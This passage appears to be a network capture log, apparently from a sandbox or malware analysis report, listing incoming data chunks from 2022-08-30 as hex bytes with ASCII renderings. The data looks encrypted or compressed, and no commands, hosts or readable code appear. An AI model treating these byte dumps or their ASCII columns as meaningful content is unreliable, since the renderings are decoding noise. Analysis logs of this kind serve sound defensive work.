7d 9e 21 13 59 c4 c8 a4 0d 9a 6e 73 27 a3 9b 71 8f a8 a1 62 0d ce 64 a7 8f 76 e1 95 0f 4a 2e f7 12 c7 60 a5 6a 07 c0 45 06 5f 6c fe 00 36 e1 9c 06 c3 00 81 81 63 49 96 9b 35 30 0f 9b 5d 19 Data Ascii: \zdk1Hh:sXYfLKQXzbxj$-k\4`CVA^=~d2r}T5M I,)ZY~U41e&k8T/{gvj,(/i*fMC;(q.>}!Yns'qbdvJ.`jE_l6cI50]
2022-08-30 13:56:44 UTC	1145	IN	Data Raw: 85 6c f4 0d 97 70 b8 4e 84 ab 8b e2 e5 aa 43 3c b3 69 b0 6f d2 8b 76 f2 67 f7 3e c7 40 13 ef f5 1a c8 58 84 2a 92 8b 82 57 e0 ee 99 a5 f8 ce 64 be 55 46 a5 19 07 37 d6 4e e2 0e 22 d7 5f b2 49 51 bf 1c 31 6d 89 f3 c7 d2 97 58 84 a6 b3 dc 5b f5 13 a7 6a 2a a2 4a 92 7a 62 a0 70 2f 0a bf 6a 2f 8e b3 1a dd 70 93 1a e7 7e 34 2d 6f eb 2e eb b2 ba e6 58 62 cc 9f 1b 2e fb a4 68 f1 0f 96 38 9f f2 1b 16 17 15 4d fb f3 3c 01 d7 bf 0c 01 7f dd 10 f7 6a 2a 62 b6 3e 65 af d7 8f f5 0b af 23 82 cf 27 76 1b 64 9c 8e f2 cd 34 fb 06 69 2f dc e6 72 c0 cd 63 09 84 2c 51 bc 62 54 4b 38 b4 0f 92 49 ae 00 2a 62 ae e6 a3 e7 fa 23 b2 b2 f7 3a 27 1c 07 5c 90 3c ee 69 2d fa 37 ff 64 5f 54 0b c4 69 f7 c5 5d 4b 86 03 09 ac d6 39 eb 04 2e ed 28 8c c7 6d 23 e9 80 af 42 7e 73 51 ed 1e 62 Data Ascii: lpNC<iovg>@XWdUF7N"_IQ1mX[jJzbp/j/p~4-o.Xb.h8M<jb>e#'vd4i/rc,QbTK8Ib#:'\<i-7d_Ti]K9.(m#B~sQb
2022-08-30 13:56:44 UTC	1147	IN	Data Raw: 63 a6 cb 07 60 2f 2d 6f 4d 8c ac 31 b7 2e 5d c4 69 1c c6 ec 87 44 4a 8a 4f bb de 3a f5 24 94 49 0f f0 19 7d ae ec 6e 2a a2 0a e8 f2 3f dc 2b d7 a2 bf b7 75 6a 59 49 c8 db 7b 79 59 4f ce 87 c8 f3 b6 66 26 78 f3 10 5c a2 c4 3f 11 64 38 73 66 a8 28 a2 05 e7 cc 3b 31 8c c2 c8 e3 21 f1 94 eb 8e 06 fb 88 62 a7 55 e3 2d c3 87 69 e3 2e 49 02 a4 ab 99 15 07 2b 08 a5 6a ae eb 1b d5 31 33 49 39 d5 d2 1d e3 1a 77 fa 68 a7 ae 6f 96 ec aa e8 a3 cb 0c 24 36 33 81 0f 6a 24 29 4f 4d b7 75 2c e9 2f d1 96 15 c3 f8 e4 ae 22 73 3e 29 4f c0 9d 52 d1 14 26 d7 93 e3 2e 66 42 44 e9 9f d1 e9 2e 6f a0 1e 98 a2 5c 16 a3 ad 4c 01 c8 42 8f c2 26 4f 83 79 b4 1f d2 7d 3b ae c4 c3 eb d7 e3 5a cf b2 fe 87 b3 92 5e 98 c5 a9 9b 36 7a 45 fc a6 c0 0a eb 66 be 19 32 c5 08 80 a2 39 e4 6e b3 85 Data Ascii: c`/-oM1.]iDJO:$I}n*?+ujYI{yYOf&x\?d8sf(;1!bU-i.I+j13I9who$63j$)OMu,/"s>)OR&.fBD.o\LB&Oy};Z^6zEf29n
2022-08-30 13:56:44 UTC	1148	IN	Data Raw: 24 b9 f3 3d d4 1a 60 eb b9 33 77 bb c1 85 68 70 f4 74 f0 ac 79 64 91 03 7e fa 8f d4 77 6a d1 95 68 54 56 a5 9d 9f 2a e8 a1 0a 46 3b 9d 04 64 2b a7 64 af ea 87 43 ae e3 a8 60 bb fa 2f 6b a8 7c 67 3a 58 80 5a 02 77 26 32 65 30 c1 ec 9c 21 83 4c 05 47 6e 22 69 bd 3e 66 83 85 a9 ae 4a 87 3b 7b 69 51 42 f0 aa e6 fa c5 af 11 3c f7 0f f3 4b 3b 69 9d cd f5 25 8b 49 61 ec b7 3e a2 ad 21 4a 84 22 c7 00 60 2c d5 27 89 e8 4c 53 d3 21 a7 52 e6 94 ae 11 3d f9 6c 65 e6 90 4f fe cd 08 4f 82 1b de cf ea f7 b0 57 95 0d bd b5 d8 06 3b b8 f7 61 7e be 83 46 ab 6c 31 f7 e1 8f 97 91 02 a2 2f e7 ea cf b5 12 17 22 ef cb f9 8a d7 Data Ascii: $=`3whptyd~wjhTV*F;d+dC`/k\|g:XZw&2e0!LGn"i>fJ;{iQB<K;i%Ia>!J"`,'LS!R=leOOW;a~Fl1/"
2022-08-30 13:56:45 UTC	1148	IN	Data Raw: 37 cf 2a 30 d5 fb 8c 29 1e a9 5b 41 f0 ae 67 4c 9a 02 d3 6f 4a 68 61 47 a6 e7 a5 ec 4f 8c 48 fd 78 c6 c1 08 50 22 02 f8 27 6f 4a fb ce 7d 2b 66 98 c3 a6 76 28 2d 6b 12 a4 28 c6 d2 af bc 65 9f a6 ad 42 49 c7 03 2f 91 50 21 e7 fc b8 a5 66 ad e7 15 cf f8 28 74 34 52 7f 89 35 fb 24 56 64 a7 19 69 df 15 4c 8f 22 ea 4f 72 5d 60 82 df 31 f8 43 18 4d 47 f2 fc 2a 66 52 88 97 ca 2c fc 3b 77 cb 9f a2 0d 13 d8 a6 0a d1 97 ab 61 4b 0b a1 6c c9 01 2e 68 5a 0e 43 9f a0 6a 2c cb 0a de 8c 06 02 d2 3a de fe f8 63 07 fd 82 4b 3c 06 66 21 77 90 80 e6 2b 9e 90 f5 6b 1e aa ff 1c 69 65 27 55 1d a0 e8 51 b9 08 55 99 9f c2 36 e1 6b 0d a3 af 45 d8 10 72 7e 3b 36 5c e5 29 e8 d6 87 9b 4b 14 a2 fc 8e a4 c5 fc 4d 10 37 4d 94 8d 7b ad fa 9c e4 fc 40 6c a4 10 c1 8e fb b4 ff 24 57 c9 8d Data Ascii: 70)[AgLoJhaGOHxP"'oJ}+fv(-k(eBI/P!f(t4R5$VdiL"Or]`1CMGfR,;waKl.hZCj,:cK<f!w+kie'UQU6kEr~;6\)KM7M{@l$W
2022-08-30 13:56:45 UTC	1150	IN	Data Raw: 1d 3f 56 7f 60 d1 da e9 23 9d 61 91 57 92 36 bd 26 98 81 bc a0 9d 64 c3 25 f9 e1 61 db 68 94 82 4d 32 71 65 cb 81 6e 2c a4 ea 62 bf 7a 2e 0a 6f b6 df a2 16 f4 c8 8f 6e f3 e3 d2 03 92 57 92 ff 2f 1a d2 f4 23 bd cb 2e dc 3f 6a a6 57 cb b7 19 4f 3b a4 e1 7e 57 bd fa 00 cf 02 58 6a a7 ea b2 00 60 aa 01 cb 84 49 60 ea e4 ad 64 2e 21 a8 2b 61 a4 2f 66 0a c7 ad e7 29 45 4d 70 b8 82 40 ce 0a ad 44 80 67 8f 4f 46 82 cb 89 30 1e c2 94 8e dc 86 0b e7 60 dd 7a 2e 64 34 1e c5 97 8e 35 ea 29 38 92 47 e7 9d c1 1b ca 87 4f 9c 52 e0 21 4d 8a 07 45 e9 a2 6d 9e 78 c2 65 18 f6 ea 82 e5 e2 ce c5 c6 8d 6c e8 eb f1 5b 83 a8 26 38 71 a8 26 2b 61 ec 18 bd 96 b0 a4 4a ca d7 dc 2e 80 c2 67 e3 8f d7 7f 57 5c f4 fa 0a ff 9e 65 39 53 c6 63 ee 28 e3 a2 ed 18 52 f0 c5 4d 8b 13 2a a3 7e Data Ascii: ?V`#aW6&d%ahM2qen,bz.onW/#.?jWO;~WXj`I`d.!+a/f)EMp@DgOF0`z.d45)8GOR!MEmxel[&8q&+aJ.gW\e9Sc(RM*~
2022-08-30 13:56:45 UTC	1151	IN	Data Raw: dd 9a 2c 24 6c ea 06 39 dc e9 7f 3d 2a b6 d2 5a 3c 27 4a 83 d7 fc 8c e6 26 63 dd 1a ad 4a 5d 7a 9c 92 f7 80 be d3 94 83 75 5c 8b b3 55 dc 31 bb 70 e0 2e 54 14 a6 f2 51 8c 9b 97 55 5b e3 ea 7d 9e 80 1f e2 97 b8 74 af 52 90 55 51 71 b3 eb e1 e4 a4 f2 41 8c b2 60 26 25 9b 95 e1 6b cb f3 8a 1f 76 ad 44 fc 11 4f 92 97 fb a3 3b bb 8a eb d7 33 eb 2d fc 15 99 76 15 2d 0b 38 36 98 1e 5b 0d b4 b9 25 5f 84 39 96 e9 9c 86 d6 7f 07 ca f0 b7 79 33 20 ea 44 88 5d 29 15 69 d5 0d 3b a4 0a 81 06 0f b0 a2 3c 2d 6f 52 91 38 e7 76 72 43 5a 8f 84 e1 e5 f0 22 7c 8c 7a 35 d4 ff 2d 5c d2 b2 30 23 a2 62 f1 e8 3f b0 5c d1 30 8c 56 f9 21 22 e3 1d 54 ae a0 e0 e7 1d b0 f5 11 62 6f 58 e0 36 71 2d ff af b3 35 c9 a5 d9 47 d3 ef 1f 02 7b 04 fa f1 6f f6 30 a1 37 cd 96 eb a4 f6 7e 2c e1 2e Data Ascii: ,$l9=*Z<'J&cJ]zu\U1p.TQU[}tRUQqA`&%kvDO;3-v-86[%_9y3 D])i;<-oR8vrCZ"\|z5-\0#b?\0V!"TboX6q-5G{o07~,.
2022-08-30 13:56:45 UTC	1152	IN	Data Raw: 17 86 11 1c 0e 28 6a fa b5 ba 34 6d 4a 8f a6 a7 64 5e 75 43 91 17 a4 a2 26 e9 60 66 ae 02 c2 df 07 f2 8a ce a6 3e 9d 4e 6f 25 7d 11 cf db d4 dc 50 5f b4 80 93 65 91 25 ef 65 96 65 1b 7b df 11 b1 0a 07 36 5e 0a d1 58 50 40 3f 3e 3f 16 76 75 d0 25 e3 79 e3 7b e1 e6 2b 59 ff 6c 8f e0 e3 e2 df d4 10 5a 1d da dd 15 e5 69 a0 18 aa d8 e5 ae ef e2 a8 ab e9 61 c3 03 61 67 23 4e 87 10 9b 3f 7d 2a 52 5d 3c 31 94 d9 6c 28 63 5a fb ce 26 61 e0 8a c2 a3 6e 2a e3 9d 6f 5e a7 2f 70 1b cb 25 3b a3 d5 5b 3e c8 ce f4 93 c7 5d 0a be 2c 66 ef ae f4 6b 61 a9 1c 88 7c 3b 5c 6c d6 e6 54 3d 00 2e f1 a8 1e 50 b7 ad f5 cb 12 aa 62 63 12 6d 2d f3 0b 7e 0f d6 18 e0 22 72 bd 63 58 3b e6 1b c0 3d 1a 87 f7 85 11 6e fa fb 33 6f d8 0b 28 fa 03 59 30 7b 21 aa f7 d1 31 28 98 6b 25 7b f6 05 Data Ascii: (j4mJd^uC&`f>No%}P_e%ee{6^XP@?>?vu%y{+YlZiaag#N?}R]<1l(cZ&ano^/p%;[>],fka\|;\lT=.Pbcm-~"rcX;=n3o(Y0{!1(k%{
2022-08-30 13:56:45 UTC	1154	IN	Data Raw: 86 9a 53 f8 36 ab ef 07 40 5c 95 8a 40 fd 36 82 c1 46 d7 97 ca 95 1b 6a f1 d5 6f 83 6c 58 1a 23 e6 0b 93 b9 a7 97 d0 81 c4 7e 9d 59 44 20 73 0d d1 40 2e f7 e6 e0 4c c5 b6 b3 9d 82 bb 28 fe 76 65 c9 59 3f fe 39 a7 e7 f8 b8 f7 b7 af 1b 72 0b e6 3b a4 c6 ed 4e 32 91 4d 4d 15 3a 5f c9 19 be 19 85 09 f1 0f 66 06 e9 c2 03 b7 f1 32 73 af e7 16 d3 fa 12 05 6f ab 84 44 4f 80 2d b4 e9 51 4b 97 08 d9 12 f4 69 2a f5 bb 80 76 3b 3c 20 23 5f 5c 80 03 ee 26 de 71 55 bd 9a 29 b7 1d ac 49 41 62 a5 52 48 b9 41 f4 2d 3f e3 94 0d 1f f9 7d cc a0 42 1d f7 8b 4d f5 6c a0 d5 48 83 81 72 5a b5 57 08 ef f7 a3 ce 82 74 bb 5a 52 f5 e1 67 80 3f c3 67 b7 46 72 aa 93 0f 93 0f ca 9f 19 c8 23 7b 32 08 43 9a 52 b0 79 fc c5 50 ab 24 0d 4e 61 37 be e6 a9 51 dc 92 fb bd c6 6b c9 f2 f3 ab 1a Data Ascii: S6@\@6FjolX#~YD s@.L(veY?9r;N2MM:_f2soDO-QKi*v;< #_\&qU)IAbRHA-?}BMlHrZWtZRg?gFr#{2CRyP$Na7Qk
2022-08-30 13:56:45 UTC	1155	IN	Data Raw: d5 8b 46 a7 b9 93 66 4e 5b 6b ff c5 66 cb 02 e7 96 96 db 26 fe 8b ef 4f 55 31 f9 d5 0b e2 7e 3c e1 57 17 65 da 09 fd 67 1a d5 e5 a7 e0 a8 9b 29 7b 4a a9 e9 6b f7 d3 0f eb 67 6b 2c e1 ec 25 20 2d 6b 08 f2 02 f0 3c 19 b3 6b 69 a6 fd cf ee a3 ea 67 32 69 c3 4d 63 7b a7 e5 e5 e4 28 a2 e9 63 2a a3 41 43 60 62 26 26 d7 12 7b c2 5e 72 02 2e 20 64 b5 f1 38 7c e3 f1 cb bc 0f 2e 0c f3 d1 4d c7 1f d3 95 bf a1 22 32 34 08 52 e8 d1 94 a1 87 0a 2c a1 f3 f7 6b d3 1b 7a b7 a3 6b d7 b7 35 2b 11 f8 85 57 e9 e0 aa 26 19 25 34 72 91 d6 e3 db ce 45 aa d6 4e a5 13 67 2b ce aa a1 23 6b cc 7d e0 d2 92 09 d4 d7 0e a5 6b 0e c0 b3 c3 26 a1 ec 21 6c 8e 43 02 89 c9 43 40 4c 86 43 e9 ed 26 67 db 08 89 40 6c 7d 69 ae cf c2 3c d4 0f 7c b0 da eb d0 39 fa 10 2c 5a e2 0b d7 3a 6a a0 e1 3d Data Ascii: FfN[kf&OU1~<Weg){Jkgk,% -k<kig2iMc{(c*AC`b&&{^r. d8\|.M"24R,kzk5+W&%4rENg+#k}k&!lCC@LC&g@l}i<\|9,Z:j=
2022-08-30 13:56:45 UTC	1159	IN	Data Raw: c0 40 67 70 75 89 7c 52 fe b6 bf 9e d4 f3 e3 4d 05 87 e0 65 7b 5f a0 6f 4b 99 9e 4e ad e5 03 4d 2c da 63 e5 d3 e5 34 8d 1c f8 26 59 d0 af fa 5c bb ff c0 f9 64 91 a0 43 8e 20 73 32 bd 48 e9 84 3a 75 85 2a a6 0b 87 e0 b1 d6 d6 39 a4 92 0c c6 8e bf 5c 1f af 12 6b 52 fe 99 04 38 ff c3 04 18 de c2 04 8b 4c 65 a0 6a 2e 53 26 5a 5b 16 e4 94 69 99 63 26 91 c6 83 8f 70 ac 62 fd 78 22 28 6c 9b db 9c 90 15 09 dd 94 71 79 46 e3 9e 9a 67 d3 ab 8e c4 6c 28 5c 18 77 8f a2 8e 31 2e ec 60 ef 7e 73 f7 c5 6f d6 be f9 84 4b 96 5d f2 d2 81 26 38 7b 54 9c 8e 48 2e 6c 0b 71 1e 28 64 e5 ce b2 da bf 11 38 d3 f9 33 4f 80 6f a7 9e 90 fd 1f 13 f6 a9 c7 08 c6 7a a7 0b bf a3 65 54 dc de 63 de e3 af 5a 33 31 93 6d 98 7b b8 68 ed 13 3c 40 db 83 1c f7 da 15 c9 05 e3 a1 f6 bd 32 79 e4 b5 Data Ascii: @gpu\|RMe{_oKNM,c4&Y\dC s2H:u*9\kR8Lej.S&Z[ic&pbx"(lqyFgl(\w1.`~soK]&8{TH.lq(d83OozeTcZ31m{h<@2y
2022-08-30 13:56:45 UTC	1161	IN	Data Raw: e1 b7 19 f3 8b f4 ee b6 d5 b3 ed 00 58 e2 f4 8d fa 0b 8e dd c7 68 b8 89 4d 5b 03 a6 6a e9 85 0a 18 43 19 d2 70 6d e7 22 87 99 3f 04 8b 6e 8a 83 e7 2b 24 61 ef 63 68 29 19 d1 ac a5 6b f6 7a 29 ef ac ed 6b 9f 09 82 df 6c da 2f 01 fa 29 25 f3 41 e2 c7 fd 32 7f 85 c9 25 61 ec e3 92 43 b6 e9 e4 ad 27 e6 34 6b 3a 6b 52 de 24 8e bb 11 c8 a2 22 c3 ef 2a a2 7f 84 9d ea a7 c7 6e c7 a1 69 23 20 b4 fa e2 1a d4 24 92 5e 1e f2 ca 1d 73 f1 37 94 8e 2e 9c 70 8d 17 5c cf bf 2c 26 cf 6e b4 95 83 00 3e 70 a5 20 e2 66 76 53 c2 ab cf ee 0b 36 1f 80 83 0d be 36 a3 69 a4 62 2c 95 ff 6e 97 f7 6e 3e 93 42 a4 26 e4 6b cc 00 f6 3b 58 e1 f7 6a d3 c5 2e 0c bc 21 55 18 77 f1 ec b2 3c 11 4f 08 5d e9 ec 7a f7 6c b1 92 e7 42 b4 10 ce ff 96 10 39 bf 98 86 74 b8 34 67 fc 6b 64 cd 20 9d 31 Data Ascii: XhM[jCpm"?n+$ach)kz)kl/)%A2%aC'4k:kR$"*ni# $^s7.p\,&n>p fvS66ib,nn>B&k;Xj.!Uw<O]zlB9t4gkd 1
2022-08-30 13:56:45 UTC	1165	IN	Data Raw: 01 83 80 32 5a 45 38 b0 79 51 8c 80 b9 76 9b 44 21 cf 1a 5d 40 3e da 9b 5f d3 63 a5 6a b0 72 df 70 2b 8c d2 62 da 42 77 1a c6 bb 66 18 d6 68 37 ea e1 b7 19 4f 27 f9 5b 43 19 3f ca 34 ab 89 54 db 1d 51 81 de 6c 94 de ad ac 59 f5 05 32 8e ec 2e e3 6f a3 05 cf 3a a2 9d 5a b2 de 16 20 3d d3 4f 59 31 16 e7 2d 24 8f 17 3e ce 0b e2 aa 3f 5c d8 59 27 1d e9 19 ae 4b 88 1e fa 61 79 e4 1e 19 23 3b 67 c1 f3 e4 80 f1 0c 6a 82 44 96 a1 f2 3d 97 5e 94 78 be ac a9 7d 8d 51 b2 8a 36 f1 af 6f c0 00 dc 16 5e f9 02 e5 0e a7 6e 8a 97 73 5c ea b1 10 99 06 5b c4 94 82 c8 c9 48 d6 dd 66 9a 5e 82 70 be e4 c3 6f a3 df 12 17 17 12 1c a1 fa 65 66 11 a1 11 f7 9e 01 ae 91 09 ea 0a 29 b7 c2 3c aa 9c f9 94 ff 72 37 21 14 79 0f 16 6a a7 65 51 62 a5 b6 72 4e 83 0e c1 ae 0c 01 a4 78 9b d4 Data Ascii: 2ZE8yQvD!]@>_cjrp+bBwfh7O'[C?4TQlY2.o:Z =OY1-$>?\Y'Kay#;gjD=^x}Q6o^ns\[Hf^poef)<r7!yjeQbrNx
2022-08-30 13:56:45 UTC	1169	IN	Data Raw: ca 52 e6 6e 8e c3 e2 13 1f 6b a7 6a e7 25 ec df a9 80 ce 16 f3 bb 32 8c 25 0b 39 e3 41 d0 72 ac ea 96 68 94 82 32 f9 84 a7 7a 3c 04 1f f4 65 71 7d 99 59 8f d1 dc d0 f1 83 86 62 63 f2 b4 2c 86 ca 07 27 04 a5 6a 06 cb af 22 e2 7f 84 9c eb a6 82 f6 08 b2 f5 74 62 20 ef 34 f9 ea 71 b1 7f 93 cc 28 ba f2 db 14 a1 6e a9 dd 6a ee 53 7e 5f 02 8f 31 ab 6a d5 a2 4e c6 0f d0 11 ce b0 15 a7 02 38 a5 08 80 fe 12 d7 2f 3c f1 8f 70 62 9f 66 fe f1 3a 1f 4f 1b 1a a6 e9 e0 8a 9b fb 2c d6 94 62 23 af 33 52 e7 5b bf 69 a5 3d 75 ee 9a 06 9f 23 86 10 5d 15 4d fb 22 aa a6 df 7e 91 7d e5 cf 26 00 53 1c e8 d6 9c 20 a1 fb 78 22 b0 7f 68 8a 2b c9 68 15 31 39 15 b3 f6 0c 96 f2 28 e1 05 9f 3a f1 54 f0 54 a9 65 f1 6a de c5 2b e7 61 2e f0 bb 68 4c 48 a3 d6 3b 1f bc 27 27 04 04 a8 a6 10 Data Ascii: Rnkj%2%9Arh2z<eq}Ybc,'j"tb 4q(njS~_1jN8/<pbf:O,b#3R[i=u#]M"~}&S x"h+h19(:TTej+a.hLH;''
2022-08-30 13:56:45 UTC	1173	IN	Data Raw: e9 69 d7 ff da 3c a4 2a 29 30 23 3e 05 75 3f 53 5b 1f df 5b f3 62 73 0a 92 d6 f9 6e 35 8c b5 5b 9d 38 3b ee 06 46 ef a3 7a e6 be f0 a4 cf 53 8a a0 8d c6 22 d4 e7 6b 7a e1 da eb 13 a9 59 ef dc ac ea 92 d4 20 e5 09 44 a8 8f ab 8d 9b f1 2f 42 62 8a 10 89 19 a0 0c 64 4c dc 90 d1 1f 02 f2 c5 6b 77 f7 7f af 49 0a a6 83 cb 6f cf 02 f4 6f 51 e3 d9 5f fd 5b a3 2e de 0e 7c a0 12 15 20 e2 00 c0 af ef 17 27 a5 6a d1 a6 1e 1d a8 ab 16 1a 36 30 61 ae 02 02 1a 6e 8f 6e 5a 3b 9f e3 f0 20 48 83 3f 6c 68 38 f7 06 06 62 12 a0 de ef 24 5d 01 4f bb 8e 1b 9e 37 cb 11 9c 18 34 47 d8 f5 c2 9e e9 94 77 e5 14 d9 14 01 c7 35 69 a1 af bf 3c 2c 62 ba d2 81 b5 3f 26 2f a3 0b 8a d3 13 f1 3e b0 74 b9 ce a2 87 23 a4 c6 18 85 5d c7 33 0d 23 60 ee 35 7e 23 28 76 f7 bf 0f 16 2c b0 37 06 0d Data Ascii: i<*)0#>u?S[[bsn5[8;FzS"kzY D/BbdLkwIooQ_[.\| 'j60annZ; H?lh8b$]O74Gw5i<,b?&/>t#]3#`5~#(v,7
2022-08-30 13:56:45 UTC	1177	IN	Data Raw: 9c 0b ac 37 de 5d 34 84 c9 57 ff 82 a8 f9 e6 50 cc 2e 63 94 b0 02 bd 72 5a 20 93 f9 4a 91 b6 63 38 f9 82 35 c9 e3 af ae 67 c0 dc 50 c1 99 ed de 8e bd 1c 3b aa 72 aa ec 19 f7 8d 96 ac d5 77 f4 29 b6 76 5a 7b 87 22 e7 ad 4b 8e b0 fa 63 3e 72 19 52 d4 e8 92 8a 19 ca 4e c3 4d 5f 87 58 c3 bf 07 4d 28 19 5e cf 0c e0 4d fb a6 0d c0 7c 0e 2a a5 6b af 88 7b 5f a2 67 22 62 9e d6 d5 48 a0 c2 ed f5 4d 2a 24 3f f4 fe 92 ce 36 7e e2 b2 b0 e1 e4 af b4 fa 99 5c 9b 6b c5 44 5f 87 8f f1 39 ae ab c4 01 62 6a ab a1 d0 5f 1e 10 11 a0 9a 2c 7f 65 3f a4 2c fe 8f 8e fc bd bb 2e e5 19 db e8 67 3a df fe 67 1b 6a 26 b7 bb c2 cc 28 66 6a 6b a0 a1 3f f2 e1 c0 05 c0 76 dc 05 5f 7a 1a 2f 5b e1 7f 6f a6 d5 15 70 e8 65 a7 d3 02 85 d5 79 dd 88 e3 e5 64 28 26 a9 55 72 4d 66 ac af 62 1b 12 Data Ascii: 7]4WP.crZ Jc85gP;rw)vZ{"Kc>rRNM_XM(^M\|k{_g"bHM$?6~\kD_9bj_,e?,.g:gj&(fjk?v_z/[opeyd(&UrMfb
2022-08-30 13:56:45 UTC	1181	IN	Data Raw: 3a b3 3c 42 a9 db 10 e1 e7 1e 18 61 e7 86 1e f0 e1 e7 de d5 88 59 40 c3 3b e7 3b b7 e7 26 27 06 f8 c5 75 2c ec 0b 94 f6 01 ad e2 be 39 05 aa 67 65 1f eb 1a 19 0f 29 05 d2 0f ab c8 2f 2c 55 a6 35 0b 2e 4e c7 a3 ad af ea c2 6a 42 ea d0 7e b2 ab 57 ad 27 19 60 97 e6 35 b7 3c 75 29 27 ec 3e 32 60 ea c0 79 96 62 89 2d c4 52 fe 0b 61 eb dc 15 04 62 1e e9 8b 6b d8 b6 1b aa 87 27 aa 3a 34 05 47 ed dc 7a 4b 12 92 ab 2f 6d 1f d4 ff 6b 57 cd 5f a6 84 78 35 40 99 e3 9a 5b 35 fb 8e 87 ed 8e d3 b6 67 ba 7a 47 6f c7 52 d0 31 7d f4 53 5b a7 11 0c c9 b3 20 6a cb 23 63 98 85 aa 66 52 5f aa bb b1 63 6d 13 32 cf 9f 91 2d 2a bb c7 da d0 80 06 7e 01 e5 6d 21 ef 2c a0 8a 35 49 7a a4 e8 a1 63 c9 46 eb 48 15 91 85 1b 8b b3 29 db 89 ae 1b d3 78 45 8b 57 ea 86 52 17 bf 88 49 a2 4e Data Ascii: :<BaY@;;&'u,9ge)/,U5.NjB~W'`5<u)'>2`yb-Rabk':4GzK/mkW_x5@[5gzGoR1}S[ j#cfR_cm2-*~m!,5IzcFH)xEWRIN
2022-08-30 13:56:45 UTC	1185	IN	Data Raw: e0 f3 1e d1 3b fd 9c 58 64 24 e3 d5 13 29 47 78 d0 67 aa a2 ea 9a dc 2d 60 e1 70 bc 1e 04 81 49 14 e0 c4 61 af f0 39 09 47 88 aa 00 58 fd ef 65 8c 7e d3 af a7 ca e7 7b 74 05 63 c4 4f e8 4b 07 8a 7a 7a a2 16 fa 60 c8 ab ee 2a 0b 32 9a d5 45 26 3d 51 1f af e3 53 c7 fc a4 ee ef 6b 3f 53 49 25 d3 d9 f2 55 16 cd 94 58 6a d1 a6 2e 2d 5f 1d ab ef 26 a3 20 23 e1 f3 70 22 ec 66 92 62 e2 16 24 a0 e2 6e 2e a6 0a 09 1c d3 5b c7 7f e3 5b ff cc b4 16 b5 ad 5b d3 24 16 97 d5 e5 2e 53 9c 2c e9 17 20 67 2d 0f 3c e1 6c 49 db ff a6 6a 2e d4 d0 ec 26 29 a3 e1 eb 6d 1c 75 d7 f7 23 66 b7 22 3e d7 51 ac 06 cf ee 16 79 44 28 15 d7 66 27 f6 44 94 a6 6a 2c 9c ca f3 53 f3 c8 c1 80 56 6c ee f2 8a 58 55 2d e1 ef 26 2a d2 1d af ed e7 be c3 15 b7 f5 6f a5 27 ed af 63 6c e4 2f 22 74 72 Data Ascii: ;Xd$)Gxg-`pIa9GXe~{tcOKzz`2E&=QSk?SI%UXj.-_& #p"fb$n.[[[$.S, g-<lIj.&)mu#f">QyD(f'Dj,SVlXU-&o'cl/"tr
2022-08-30 13:56:45 UTC	1190	IN	Data Raw: b8 9d 53 a5 1f ff c4 e5 af 20 2b 61 ae e4 06 4c 1d 3b da 0c 8e 98 76 b9 64 b7 02 cc 69 13 80 99 c8 50 fc bb d9 08 ff 53 f6 6c 8a 14 f2 7e da 74 9e b7 99 64 99 52 cc 37 02 3f 2a df 6e 2d 99 3c 34 fc 10 bd 66 f4 70 de ee 3b 26 c3 0d 89 11 81 0a d2 dd 8e 01 2d e5 f9 c4 d4 e5 b0 d5 bb 1e 7b f1 2d f8 81 17 b5 6b 1b 9c e8 be 48 3d 06 92 39 84 78 b5 bf 93 08 7b c9 a5 55 10 50 e6 b4 ca 11 7d de a2 9b ed dd 0c 31 85 f0 a1 47 0c e7 6d 5d df 63 f1 b4 51 4c a5 38 51 e9 96 0a 7a 57 1a 82 c2 7c 3a 20 10 2d 13 54 77 f3 ad bc ff 4d cf d7 e0 19 17 8f cf bc 94 cb 96 d6 ac 66 ed 27 9a 50 ee c0 76 5b 3f a5 49 e8 ac 51 7a f8 2a ef a1 9b 55 85 d1 30 a5 86 0a 2a a5 52 9c c2 18 0e 80 3e 66 23 e5 e8 31 50 22 86 50 03 99 9b 3a 67 f8 65 b9 e0 e7 a9 ec a7 ac 20 5b bb cf 6f 81 54 92 Data Ascii: S +aL;vdiPSl~tdR7?n-<4fp;&-{-kH=9x{UP}1Gm]cQL8QzW\|: -TwMf'Pv[?IQzU0*R>f#1P"P:ge [oT
2022-08-30 13:56:45 UTC	1193	IN	Data Raw: 2e 40 04 75 0e f0 65 61 b1 18 90 03 86 39 9c 88 3a f7 e2 16 42 9c 07 f9 b9 06 45 09 87 1c fd 46 d5 6e 85 9b 59 43 54 8a 15 da a4 15 a2 71 24 2a db 6a 2c 26 0f e1 ae a9 02 19 d4 8c 6a a1 67 fd 34 38 57 bb f3 42 f4 a3 61 70 f1 bd 49 1f 52 90 5a b4 6c 8a 5b c3 97 93 e6 74 24 0a 8f 23 f2 70 ad 1b e9 5a b7 f1 82 cb a7 22 6c 52 9c 48 0b ea d0 73 47 e7 68 9b 55 3e e4 c3 4d f3 0b c6 a0 25 d8 b9 5f fb 9d ea 70 56 f7 fa 0f 42 f0 29 2a 60 25 6a 61 ed ef ab ef e8 4f 99 bf 61 80 81 42 49 57 9b bb b1 e3 98 d4 f9 36 1a d6 7f 74 ea 27 dc d8 a4 1c a3 17 97 d3 85 f3 5e c3 0f f4 b4 be 6a 56 25 05 97 d5 e5 ea a2 24 01 8c f1 a0 d5 f5 10 67 3b c5 a8 5e 66 20 95 cb 70 d8 3a d5 b0 a1 70 e7 bb 4f dd 2a 4a c7 7d 75 cd cc 88 37 26 eb c5 e1 6b 6d ab 2f e0 5f d2 e1 74 3e 9b d7 e9 ee Data Ascii: .@uea9:BEFnYCTq$j,&jg48WBapIRZl[t$#pZ"lRHsGhU>M%_pVB)`%jaOaBIW6t'^jV%$g;^f p:pO*J}u7&km/_t>
2022-08-30 13:56:45 UTC	1195	IN	Data Raw: 1c 2b 46 01 af 3e 3e 26 10 29 5a ac 28 0b 01 20 28 50 10 3c 38 a3 f1 3d 56 c2 79 34 9e 8d a7 95 17 45 a7 0d a1 1b c9 ff ea 97 6f ec 6a 8c ff 33 9a 5d 02 e9 2e 1b eb 86 cd 23 bf 02 ec 38 c6 7e ca 3f 00 c3 04 1a 50 3f 79 7e 5a 09 ba 26 f9 e9 5c 06 3b f2 71 2f 3c 02 df 67 91 af 2d 1d 5b d5 d7 5a 2c 23 5e 82 01 f7 11 6f e7 b1 3b c6 0c 60 13 85 1c bb 87 11 1b fc 37 68 2b e3 80 cb af 31 a2 82 18 ea 69 1e 5a da d7 6f 52 a7 14 12 25 e2 ee e2 11 e3 56 5f 66 f9 35 4b ba 52 5c 64 3e a2 ee 83 f1 be fd 52 4e e6 f9 be 2c 63 9a db a2 ed 9b a7 5d 96 82 08 5d 9a 